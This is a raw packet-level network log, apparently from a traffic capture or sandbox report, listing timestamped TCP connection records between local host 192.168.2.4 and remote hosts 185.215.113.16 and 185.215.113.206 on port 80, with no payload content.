Dec 27, 2024 08:45:31.276649952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.277251959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.277311087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.277349949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.278017044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.278067112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.278069973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.278676033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.278738022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.278773069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.279405117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.279463053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.279498100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.280132055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.280174971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.280292034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.280852079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.280889988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.280946970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.294440985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.294531107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.294548988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.294723988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.294821024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.294872046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.295419931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.295469999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.295650005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.296142101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.296240091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.296250105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.296885014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.296925068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.297044992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.297584057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.297861099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.298096895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.298439026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.298487902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.298892975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.324986935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.325061083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.325114965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.325400114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.325589895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.325634956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.326040030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.326088905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.326147079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.326773882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.326833963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.326977968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.327416897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.327536106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.327538013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.328100920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.328252077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.328298092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.328841925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.328908920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.328952074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.329591990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.329648972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.329675913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.330252886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.330552101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.330595016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.330959082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.331000090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.331063986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.331691027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.331743956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.331785917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.332461119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.332516909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.332555056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.333136082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.333200932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.333246946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.334146976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.334192991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.401581049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.401611090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.401674032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.401809931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.401921988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.401974916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.402533054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.402631998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.403254986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.403316975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.403393984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.403435946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.403975010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.404042959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.404273987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.404675961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.404786110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.405287027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.405392885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.405508995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.406124115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.406168938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.406232119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.406271935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.406825066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.406974077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.407013893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.407555103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.407666922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.408365011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.408380985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.408407927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.408437014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.408950090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.409143925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.409188986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.409670115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.409816027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.409873009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.410407066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.410583019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.410624027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.411123991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.411222935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.411802053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.411851883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.411905050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.412070036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.412543058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.412561893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.412609100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.455912113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.456042051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.456093073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.456348896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.456418037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.456458092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.457021952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.457094908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.457138062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.457721949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.457791090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.457830906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.458462954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.458574057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.458619118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.459211111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.459285975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.459341049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.459861040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.459939003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.460357904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.475975037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.476093054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.476145983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.476277113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.476387024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.476432085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.477009058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.477106094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.477176905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.477727890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.477931976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.478102922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.478152990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.478707075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.478821039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.478823900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.479373932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.479418039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.479454994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.480120897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.480369091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.480424881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.480786085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.480901957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.480947018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.481756926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.481820107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.481869936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.482367992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.482409000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.482435942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.495882988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.495935917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.496083975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.496210098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.496258974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.496367931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.496906042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.497172117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.497245073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.497657061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.497700930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.497750044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.498291969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.498351097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.498426914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.499027967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.499074936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.499274015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.499778986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.499810934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.499862909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.526287079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.526355028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.526402950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.526622057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.526833057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.526874065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.527362108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.527399063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.527498007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.528031111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.528069973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.528136969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.528769016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.528841972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.528884888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.529475927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.529520988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.529597044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.530179024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.530236959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.530308962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.530946970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.530992031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.530997992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.531605005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.531651974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.531773090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.532330990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.532392979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.532419920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.533056974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.533123970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.533164024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.533771992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.533874989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.533911943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.534483910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.534523964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.534544945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.535161972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.535202026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.570606947 CET	49745	80	192.168.2.4	185.215.113.206
Dec 27, 2024 08:45:31.602745056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.602849007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.602902889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.602925062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.602982044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.603698015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.603749990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.603766918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.603801966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.604362965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.604419947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.605025053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.605073929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.605159998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.605228901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.605798960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.605923891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.605964899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.606491089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.606579065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.606657982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.606976032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.607085943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.607119083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.607697010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.607754946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.607867956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.608407021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.608515978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.608556986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.609123945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.609230042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.609288931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.609828949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.609975100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.610533953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.610575914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.610647917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.610687017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.611260891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.611309052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.611980915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.612025023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.612385035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.612432957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.612739086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.612924099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.612967014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.613501072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.613595963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.613729954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.614109993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.657298088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.657362938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.657434940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.657609940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.657650948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.657685041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.658310890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.658443928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.658487082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.659029007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.659071922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.659138918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.659738064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.659796953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.659823895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.660459995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.660495043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.660562992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.661168098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.661212921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.661250114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.677267075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.677383900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.677453995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.677607059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.677649021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.677710056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.678329945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.678461075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.678500891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.679018021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.679121017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.679254055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.679378986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.679416895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.679989100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.680119991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.680166006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:31.680692911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.680824995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:31.680872917 CET	49744	80	192.168.2.4	185.215.113.16
